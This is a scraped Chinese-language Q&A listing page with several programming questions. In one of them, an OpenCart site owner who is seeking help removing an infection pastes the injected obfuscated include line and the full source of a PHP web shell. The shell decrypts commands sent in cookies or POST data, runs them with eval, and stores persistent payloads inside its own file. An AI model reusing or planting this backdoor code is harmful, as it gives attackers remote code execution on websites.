RError.com

RError.com Logo RError.com Logo

RError.com Navigation

  • 主页

Mobile menu

Close
  • 主页
  • 系统&网络
    • 热门问题
    • 最新问题
    • 标签
  • Ubuntu
    • 热门问题
    • 最新问题
    • 标签
  • 帮助
主页 / 问题

全部问题

Martin Hope
Алексей Шиманский
Asked: 2020-08-03 18:01:38 +0000 UTC

如何以及通过什么方式来查找 Java 代码中的错误?

  • 23

在编写代码时,它有时无法按照我的预期工作或原则上无法工作。我坐下来想:什么地方错了?

稍微看了一下代码后,我去专业人士的资源,例如Stack Overflow并发布问题 “这里的错误在哪里?” 或“为什么它不起作用?”

结果,问题往往很小:愚蠢的拼写错误、语法错误等。如果你为每一件小事都使用资源,你就不可能成为那样的专业人士。我想成为。

问题:在Java代码中查找错误的方法有哪些?有哪些工具、方法、途径等?

java
  • 2 个回答
  • 10 Views
Martin Hope
Abmin
Asked: 2020-05-16 19:00:12 +0000 UTC

如何从网站中删除恶意代码

  • 23

你好。最近,我开始注意到当我打开我的网站时,会重定向到某种广告网站。我开始查看我的代码,在 index.php 中我发现了这样一行:

/*1d3ec*/

@include "\x2fhom\x65/ab\x6din/\x64oma\x69ns/\x68***\x61**\x65/pu\x62lic\x5fhtm\x6c/vq\x6dod/\x76qca\x63he/\x66avi\x63on_\x3786a\x34f.i\x63o";

/*1d3ec*/

当我删除多余的部分时,我得到了某个文件的路径:

home/admin/domains/домен_сайта/public_html/vqmod/vqcache/favicon_786a4f.ico

我找到了这个文件,打开它,然后:

在此处输入图像描述

好吧,我认为代码已从 index.php 和文件中删除.. 第二天出现了相同样式的新代码和新文件,只是在不同的文件夹中。如何从这种感染中清除网站?

引擎:Opencart 2.1.0.1

仅安装的模块:Marketplace、Ajax Product Page Loader、[OCJazz] SeoPro、uLogin - 面板。修饰符:iSenseLabs 的本地副本 OCMOD,oc2011+ 的 Easy Blog Simple。

更改了托管密码,将 index.php 文件的属性设置为“只读”,但没有帮助。也许有人遇到过这个。感谢您阅读到最后!

UPD:病毒仍然存在,我已经清除了很多次。我决定看看恶意代码里面有什么,我请求那些能从下面的代码中理解漏洞所在的人的帮助,因为我自己熟悉 PHP 还不到一年。

@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);


if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

$data = NULL;
$data_key = NULL;

$GLOBALS['cs_auth'] = 'aad641a4-4dd3-47a3-981c-7dfb1725ccd9';
global $cs_auth;


if (!function_exists('file_put_contents'))
{
    function file_put_contents($n, $d, $flag = False)
    {
        $mode = $flag == 8 ? 'a' : 'w';
        $f = @fopen($n, $mode);
        if ($f === False)
        {
            return 0;
        }
        else
        {
            if (is_array($d)) $d = implode($d);
            $bytes_written = fwrite($f, $d);
            fclose($f);
            return $bytes_written;
        }
    }
}

if (!function_exists('file_get_contents'))
{
    function file_get_contents($filename)
    {
        $fhandle = fopen($filename, "r");
        $fcontents = fread($fhandle, filesize($filename));
        fclose($fhandle);

        return $fcontents;
    }
}
function cs_get_current_filepath()
{
    return trim(preg_replace("/\(.*\$/", '', __FILE__));
}

function cs_decrypt_phase($data, $key)
{
    $out_data = "";

    for ($i=0; $i<strlen($data);)
    {
        for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
        {
            $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
        }
    }

    return $out_data;
}

function cs_decrypt($data, $key)
{
    global $cs_auth;

    return cs_decrypt_phase(cs_decrypt_phase($data, $key), $cs_auth);
}
function cs_encrypt($data, $key)
{
    global $cs_auth;

    return cs_decrypt_phase(cs_decrypt_phase($data, $cs_auth), $key);
}

function cs_get_plugin_config()
{
    $self_content = @file_get_contents(cs_get_current_filepath());

    $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
    if ($config_pos !== FALSE)
    {
        $config = substr($self_content, $config_pos + 32);
        $plugins = @unserialize(cs_decrypt(base64_decode($config), md5(cs_get_current_filepath())));
    }
    else
    {
        $plugins = Array();
    }

    return $plugins;
}

function cs_set_plugin_config($plugins)
{
    $config_enc = base64_encode(cs_encrypt(@serialize($plugins), md5(cs_get_current_filepath())));
    $self_content = @file_get_contents(cs_get_current_filepath());

    $config_pos = strpos($self_content, md5(cs_get_current_filepath()));
    if ($config_pos !== FALSE)
    {
        $config_old = substr($self_content, $config_pos + 32);
        $self_content = str_replace($config_old, $config_enc, $self_content);

    }
    else
    {
        $self_content = $self_content . "\n\n//" . md5(cs_get_current_filepath()) . $config_enc;
    }

    @file_put_contents(cs_get_current_filepath(), $self_content);
}

function cs_plugin_add($name, $base64_data)
{
    $plugins = cs_get_plugin_config();

    $plugins[$name] = base64_decode($base64_data);

    cs_set_plugin_config($plugins);
}

function cs_plugin_rem($name)
{
    $plugins = cs_get_plugin_config();

    unset($plugins[$name]);

    cs_set_plugin_config($plugins);
}

function cs_plugin_load($name=NULL)
{
    foreach (cs_get_plugin_config() as $pname=>$pcontent)
    {
        if ($name)
        {
            if (strcmp($name, $pname) == 0)
            {
                eval($pcontent);
                break;
            }
        }
        else
        {
            eval($pcontent);
        }
    }
}

foreach ($_COOKIE as $key=>$value)
{
    $data = $value;
    $data_key = $key;
}

if (!$data)
{
    foreach ($_POST as $key=>$value)
    {
        $data = $value;
        $data_key = $key;
    }
}

$data = @unserialize(cs_decrypt(base64_decode($data), $data_key));

if (isset($data['ak']) && $cs_auth==$data['ak'])
{
    if ($data['a'] == 'i')
    {
        $i = Array(
            'pv' => @phpversion(),
            'sv' => '2.0-1',
            'ak' => $data['ak'],
        );
        echo @serialize($i);
        exit;
    }
    elseif ($data['a'] == 'e')
    {
        eval($data['d']);
    }
    elseif ($data['a'] == 'plugin')
    {
        if($data['sa'] == 'add')
        {
            cs_plugin_add($data['p'], $data['d']);
        }
        elseif($data['sa'] == 'rem')
        {
            cs_plugin_rem($data['p']);
        }
    }
    echo $data['ak'];

}

cs_plugin_load();
}

UPD 2: 我只是查看了其中一个站点上的日志,这就是那里的内容

在此处输入图像描述

php
  • 4 个回答
  • 10 Views
Martin Hope
Alexandr_TT
Asked: 2020-04-04 22:20:18 +0000 UTC

图片上方文字前后的线条

  • 23

我想在居中标题前后创建一行。线条和文本必须具有透明背景,以便能够将它们放置在不同的背景上。线的宽度不应超过 100%。

就像图片中的这里:

在此处输入图像描述

标题文本可能会更改:

  • 标题宽度未知
  • 标题可以跨多行

h1 {
  text-align: center;
  border-bottom: 1px solid #000;
}         


 <h1>Today</h1>     

@JUO对 title over image 问题之前和之后的行进行了 松散的翻译。

html
  • 3 个回答
  • 10 Views
Martin Hope
user208916
Asked: 2020-03-22 09:41:12 +0000 UTC

36进制有脏话吗?

  • 23
base_convert($id, 10, 36);

我使用 36 中 MySQL 表的转换 ID 作为唯一的短 URL。用户可以在这样的 URL 中看到一些令人讨厌的词吗?

UPDATE
看来我已经弄明白了,号码是739172。嗯,那里有脏话。

php
  • 3 个回答
  • 10 Views
Martin Hope
VladD
Asked: 2020-01-16 07:21:21 +0000 UTC

为什么 Thread.Sleep 行为异常?如何在图形程序中进行延迟或长时间计算?

  • 23

我需要延迟向用户显示信息。例如,每秒更改文本标签的内容。(或输出长时间计算的中间结果。)在命令行程序中,我这样做了:

Console.WriteLine("значение 1");
Thread.Sleep(1000);
Console.WriteLine("значение 2");
Thread.Sleep(1000);
Console.WriteLine("значение 3");

有效。现在我需要在图形程序中做同样的事情。我写了一个方法

void OnClick(object sender, EventArgs args)
{
    label.Text = "значение 1";
    Thread.Sleep(1000);
    label.Text = "значение 2";
    Thread.Sleep(1000);
    label.Text = "значение 3";
}

但它不是那样工作的。中间值不显示,程序长时间停止响应。当它挂起时,它会立即显示最后一个值。

发生了什么?为什么程序运行不正确,如何正确运行?

c#
  • 4 个回答
  • 10 Views
上一页
下一页

Sidebar

Stats

  • 问题 10021
  • Answers 30001
  • 最佳答案 8000
  • 用户 6900
  • 常问
  • 回答
  • Marko Smith

    我看不懂措辞

    • 1 个回答
  • Marko Smith

    请求的模块“del”不提供名为“default”的导出

    • 3 个回答
  • Marko Smith

    "!+tab" 在 HTML 的 vs 代码中不起作用

    • 5 个回答
  • Marko Smith

    我正在尝试解决“猜词”的问题。Python

    • 2 个回答
  • Marko Smith

    可以使用哪些命令将当前指针移动到指定的提交而不更改工作目录中的文件?

    • 1 个回答
  • Marko Smith

    Python解析野莓

    • 1 个回答
  • Marko Smith

    问题:“警告:检查最新版本的 pip 时出错。”

    • 2 个回答
  • Marko Smith

    帮助编写一个用值填充变量的循环。解决这个问题

    • 2 个回答
  • Marko Smith

    尽管依赖数组为空,但在渲染上调用了 2 次 useEffect

    • 2 个回答
  • Marko Smith

    数据不通过 Telegram.WebApp.sendData 发送

    • 1 个回答
  • Martin Hope
    Alexandr_TT 2020年新年大赛! 2020-12-20 18:20:21 +0000 UTC
  • Martin Hope
    Alexandr_TT 圣诞树动画 2020-12-23 00:38:08 +0000 UTC
  • Martin Hope
    Air 究竟是什么标识了网站访问者? 2020-11-03 15:49:20 +0000 UTC
  • Martin Hope
    Qwertiy 号码显示 9223372036854775807 2020-07-11 18:16:49 +0000 UTC
  • Martin Hope
    user216109 如何为黑客设下陷阱,或充分击退攻击? 2020-05-10 02:22:52 +0000 UTC
  • Martin Hope
    Qwertiy 并变成3个无穷大 2020-11-06 07:15:57 +0000 UTC
  • Martin Hope
    koks_rs 什么是样板代码? 2020-10-27 15:43:19 +0000 UTC
  • Martin Hope
    Sirop4ik 向 git 提交发布的正确方法是什么? 2020-10-05 00:02:00 +0000 UTC
  • Martin Hope
    faoxis 为什么在这么多示例中函数都称为 foo? 2020-08-15 04:42:49 +0000 UTC
  • Martin Hope
    Pavel Mayorov 如何从事件或回调函数中返回值?或者至少等他们完成。 2020-08-11 16:49:28 +0000 UTC

热门标签

javascript python java php c# c++ html android jquery mysql

Explore

  • 主页
  • 问题
    • 热门问题
    • 最新问题
  • 标签
  • 帮助

Footer

RError.com

关于我们

  • 关于我们
  • 联系我们

Legal Stuff

  • Privacy Policy

帮助

© 2023 RError.com All Rights Reserve   沪ICP备12040472号-5